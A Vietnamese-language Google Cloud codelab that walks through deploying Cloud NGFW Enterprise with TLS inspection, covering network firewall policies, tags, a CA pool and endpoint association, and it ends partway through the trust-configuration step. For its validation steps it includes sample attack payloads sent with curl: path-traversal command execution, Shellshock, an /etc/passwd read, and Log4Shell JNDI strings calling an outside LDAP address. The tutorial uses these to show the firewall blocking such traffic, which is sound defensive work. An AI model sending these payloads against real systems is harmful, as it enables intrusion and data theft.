Lớp học lập trình Cloud NGFW Enterprise [với việc kiểm tra TLS]

1. Giới thiệu

Tường lửa thế hệ mới (NGFW) trên đám mây

Tường lửa thế hệ mới trên đám mây là một dịch vụ tường lửa được phân phối toàn diện, có các chức năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bao phủ rộng rãi để bảo vệ các khối lượng công việc của bạn trên Google Cloud khỏi các cuộc tấn công từ bên trong và bên ngoài.

Cloud NGFW có những lợi ích sau:

  • Dịch vụ tường lửa phân tán: Cloud NGFW cung cấp một cơ chế thực thi dựa trên máy chủ lưu trạng thái và được phân phối đầy đủ trên mỗi khối lượng công việc để cho phép kiến trúc bảo mật không tin tưởng bất cứ nguồn nào.
  • Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa theo hệ thống phân cấp và mạng có thể được đính kèm vào một nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm nhất quán về tường lửa trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Sự kết hợp giữa các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) chi phối giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc – nam và đông – tây, xuống đến một máy ảo duy nhất, trên các mạng Đám mây riêng ảo (VPC) và tổ chức.

Cloud NGFW có các cấp sau:

  • Tường lửa thế hệ mới trên đám mây (phiên bản cơ bản)
  • Tường lửa thế hệ mới trên đám mây (chuẩn)
  • Tường lửa thế hệ mới trên đám mây dành cho doanh nghiệp

Cloud NGFW Enterprise

Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng ở Lớp 7, vào cấu trúc Tường lửa Google Cloud phân tán. Tính năng kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá bằng TLS.

Giờ đây, bạn có thể triển khai các hoạt động kiểm tra tường lửa thế hệ tiếp theo (NGFW) đáng tin cậy ở Lớp 7 với các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai chế độ kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:

  • Tạo một nhóm điểm cuối tường lửa theo khu vực do Google Cloud quản lý.
  • Bạn có thể chọn tạo Chính sách kiểm tra TLS.
  • Bạn có thể tạo một Cấu hình tin cậy (không bắt buộc).
  • Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) nơi bạn cần dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách tường lửa và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng đóng vai trò là một vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách đó được liên kết với một mạng VPC. Mỗi mạng VPC có thể có một chính sách tường lửa mạng được liên kết. Các chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này thay thế thẻ mạng hiện tại và có thể dùng để cung cấp danh tính cho tải.

Việc chia sẻ chính sách tường lửa mạng trên nhiều mạng và tích hợp với các Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Khi chính sách tường lửa mạng được ra mắt, các chính sách tường lửa của Google Cloud hiện bao gồm những thành phần sau:

  1. Chính sách tường lửa theo hệ thống phân cấp
  2. Quy tắc về tường lửa VPC
  3. Chính sách tường lửa mạng ( Toàn cầuTheo khu vực)

Chính sách tường lửa theo hệ thống phân cấp được hỗ trợ tại các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi các quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng là các quy tắc tường lửa VPC chỉ có thể được áp dụng cho một mạng VPC duy nhất, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC duy nhất hoặc nhóm VPC, cùng với những lợi ích khác như cập nhật hàng loạt.

Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm định đi kèm với mọi mạng VPC:

  • Một quy tắc lưu lượng truy cập đi có hành động là cho phép, đích đến là 0.0.0.0/0
  • Một quy tắc đầu vào có hành động là từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được minh hoạ trong sơ đồ sau:

21b3bcabc469ffe.png

Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ (từ khoá)

Các thẻ mới được tích hợp trong quy tắc chính sách tường lửa mạng là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc dự án trong hệ thống phân cấp tài nguyên của Google Cloud. Thẻ như vậy chứa các chế độ kiểm soát quyền truy cập IAM, trong đó chỉ định những người có thể làm gì trên thẻ. Ví dụ: quyền Quản lý danh tính và quyền truy cập (IAM) cho phép chủ thể chỉ định những chủ thể nào có thể chỉ định giá trị cho thẻ và những chủ thể nào có thể đính kèm thẻ vào tài nguyên. Nếu một quy tắc tường lửa mạng tham chiếu đến một Thẻ, thì quy tắc đó phải được áp dụng cho một tài nguyên để thực thi.

Thẻ tuân theo mô hình tài nguyên kế thừa của Google Cloud, tức là thẻ và giá trị của thẻ được truyền xuống trong hệ thống phân cấp từ thẻ gốc. Do đó, bạn có thể tạo thẻ ở một nơi rồi sử dụng cho các thư mục và dự án khác trong hệ thống phân cấp tài nguyên. Hãy truy cập vào trang này để biết thông tin chi tiết về thẻ và quy định hạn chế truy cập.

Đừng nhầm lẫn thẻ với thẻ mạng. Sau này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; chúng được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Các quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên đám mây nên không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được dùng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC cũng như quản lý một số tài nguyên mạng và bảo mật. Phần này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra các luồng lưu lượng truy cập internet theo hướng bắc bằng tính năng kiểm tra TLS
  • Kiểm tra các luồng trong VPC [Đông – Tây] bằng tính năng kiểm tra TLS

Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các thông số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ (IP nguồn, IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ.

3d0f288d3b92a295.png

Trạng thái cuối cùng của cơ sở quy tắc chính sách tường lửa mạng sẽ tương tự như bảng bên dưới:

Mức độ ưu tiên

Hướng dẫn

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng vào

Server_Tag

Kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

200

Lưu lượng vào

Client_Tag, Server_Tag

IAP

Bất kỳ

Cho phép

Essentials

800

Lưu lượng vào

Server_Tag

10.0.0.0/24

10.0.0.0/24

Kiểm tra L7

Doanh nghiệp

850

Lưu lượng ra

Client_Tag

Bất kỳ

10.0.0.0/24

Cho phép

Essentials

900

Lưu lượng ra

Client_Tag

Bất kỳ

Bất kỳ

Kiểm tra L7

Doanh nghiệp

Kiến thức bạn sẽ học được

  • Cách tạo chính sách tường lửa mạng.
  • Cách tạo và sử dụng Thẻ với chính sách tường lửa mạng.
  • Cách định cấu hình và sử dụng Cloud NGFW Enterprise có tính năng kiểm tra TLS.

Bạn cần có

  • Dự án trên Google Cloud.
  • Kiến thức về cách triển khai các phiên bản và định cấu hình các thành phần mạng.
  • Kiến thức về cấu hình tường lửa VPC.

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ việc triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới và thay thế thông tin trong dấu ngoặc nếu cần:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Bật API

Bật các API nếu bạn chưa bật:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo điểm cuối doanh nghiệp Cloud NGFW

Vì quá trình tạo Điểm cuối doanh nghiệp Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thực hiện song song quá trình thiết lập cơ bản trong khi điểm cuối đang được tạo.

Tạo Nhóm hồ sơ bảo mật và Hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Xác nhận rằng bạn đã tạo tài nguyên thành công:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Quá trình tạo mất khoảng 20 phút. Chuyển đến phần Thiết lập cơ bản để tạo các tài nguyên cần thiết song song.

5. Thiết lập cơ bản

Mạng và mạng con VPC

Mạng VPC và mạng con

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Tạo Cloud Router và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Nhiều mảnh ghép

Tạo các thực thể ứng dụng và máy chủ web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Thẻ ở cấp dự án

Chỉ định quyền tagAdmin cho người dùng nếu cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Liên kết các thẻ với các thực thể:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa mạng toàn cầu

Tạo chính sách tường lửa mạng toàn cầu:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Tạo các quy tắc Cloud Firewall Essential cần thiết để cho phép lưu lượng truy cập từ các dải kiểm tra tình trạngproxy nhận biết danh tính:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Tạo các quy tắc cần thiết cho Tường lửa trên đám mây để cho phép lưu lượng truy cập vào / ra theo hướng đông – tây/ trong mạng con từ các dải cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise có tính năng kiểm tra TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa đám mây với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Liên kết điểm cuối của Tường lửa trên đám mây

Xác định các biến môi trường trong trường hợp bạn chưa thực hiện và/hoặc ưu tiên phương pháp tập lệnh.

Xác nhận rằng bạn đã hoàn tất thành công việc tạo Điểm cuối tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả đầu ra dự kiến (xin lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo máy khách đang được sử dụng):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Liên kết điểm cuối Tường lửa trên đám mây với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Quá trình liên kết mất khoảng 10 phút. Chỉ chuyển sang phần TLS khi trạng thái hiển thị là ĐANG HOẠT ĐỘNG (trong quá trình tạo, trạng thái dự kiến là ĐANG TẠO):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến khi hoàn tất:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Nếu muốn, hãy chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Định cấu hình tài nguyên TLS

Tạo một nhóm CA. Tài nguyên này sẽ được dùng để lưu trữ chứng chỉ CA gốc mà chúng tôi tạo cho NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Tạo CA gốc. Đây là chứng chỉ CA sẽ được dùng để ký các chứng chỉ bổ sung cho các yêu cầu thông qua NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Nếu bạn nhận được thông báo bên dưới, hãy trả lời y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Tạo một tài khoản dịch vụ. Tài khoản dịch vụ này sẽ được dùng để yêu cầu chứng chỉ cho NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Thiết lập quyền IAM cho tài khoản dịch vụ:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Tạo tệp YAML chính sách TLS. Tệp này sẽ chứa thông tin về các tài nguyên cụ thể:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Nhập Chính sách kiểm tra TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Cập nhật mối liên kết điểm cuối để bật TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Lấy chứng chỉ CA và thêm chứng chỉ đó vào kho CA của ứng dụng:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Chuyển chứng chỉ CA cho ứng dụng:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH vào VM, di chuyển chứng chỉ CA đến /usr/local/share/ca-certificates và cập nhật kho CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Thoát về cloudshell.

Quy trình ký chứng chỉ máy chủ:

Trên cloudshell, hãy cài đặt thư viện mật mã Pyca bằng lệnh pip:

pip install --user "cryptography>=2.2.0"

Để cho phép Google Cloud SDK sử dụng thư viện mật mã học Pyca, bạn phải bật các gói trang web.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Tạo Chứng chỉ máy chủ:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Thao tác này sẽ tạo tệp cert.pem và key.pem trong cloudshell. Tiếp theo, hãy chuyển chứng chỉ và khoá sang máy chủ.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

SSH vào máy chủ để cập nhật thông tin chi tiết về chứng chỉ cho Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Di chuyển chứng chỉ và khoá vào thư mục cụ thể:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Cập nhật cấu hình ssl để sử dụng chứng chỉ đã ký:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Khởi động lại Apache:

sudo systemctl restart apache2

Xác minh trạng thái của Apache:

sudo systemctl status apache2

Thiết bị phải đang hoạt động (đang chạy).

Thoát khỏi máy ảo và tiếp tục trên cloudshell.

8. Xác thực kết nối hướng bắc và kết nối Đông/Tây

Chạy các lệnh bên dưới trong Cloud Shell và ghi lại các IP mục tiêu sẽ được sử dụng:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo của máy khách thông qua IAP (bạn sẽ cần xác định các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Chạy các lệnh bên dưới và lưu ý đến các IP đích sẽ được sử dụng. Tạo các biến thay thế các giá trị trong dấu ngoặc bằng các IP đã ghi nhận ở bước trước và đảm bảo rằng các IP đó có thể truy cập được:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curl IP riêng tư và đảm bảo có thể truy cập được:

curl https://$target_privateip --max-time 2

Kết quả dự kiến cho yêu cầu curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Gửi các cuộc tấn công mẫu đến địa chỉ IP. Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có hoạt động kiểm tra/ngăn chặn L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Kết quả dự kiến mẫu (IP riêng tư):

400
404
400
200
200

Tương tự, hãy gửi yêu cầu đến một đích đến trên Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Kết quả dự kiến mẫu (đích đến trên Internet):

400
404
400
403
403

Thoát khỏi thiết bị đầu cuối của máy ảo và quay lại Cloud Shell.

9. Tạo và cập nhật các quy tắc tường lửa để kiểm tra TLS

Trước đây, chúng ta đã định cấu hình một quy tắc tường lửa để cho phép lưu lượng truy cập vào máy chủ từ mạng con nội bộ. Giờ đây, chúng tôi sẽ cập nhật các quy tắc truy cập hiện có và đặt hành động thành apply_security_profile_group. Thao tác này sẽ bật tính năng kiểm tra L7 E/W bằng TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Tạo một quy tắc mới để kiểm tra L7 chiều đi bằng TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Tạo một quy tắc mới để cho phép EGRESS cho E/W nhằm ngăn chặn việc kiểm tra hai lần.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Xác thực tính năng Kiểm tra TLS chiều đi

Chuyển về thẻ máy ảo của máy khách hoặc kết nối lại:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Gửi các cuộc tấn công mẫu đến một đích đến trên Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Không nhận được phản hồi nào theo đầu ra dự kiến bên dưới, xác nhận rằng các cuộc tấn công mẫu hiện đang bị chặn:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Đặt biến thành IP máy chủ từ trước:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Gửi các yêu cầu TLS mẫu đến máy chủ:

curl https://$target_privateip --max-time 2

Kết quả đầu ra dự kiến:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Tại sao yêu cầu này không thành công? Điều này là do Tường lửa đang nhận được một chứng chỉ từ máy chủ mà không có độ tin cậy. Nếu điều này xảy ra, nó sẽ chuyển một chứng chỉ tự ký trở lại cho máy khách. Chúng ta cần thêm chứng chỉ CA vào cấu hình tin cậy để bật tính năng tin cậy.

Quay lại Cloud Shell.

11. Định cấu hình cấu hình tin cậy

Lấy chứng chỉ CA gốc và đặt chứng chỉ đó làm một biến có định dạng phù hợp.

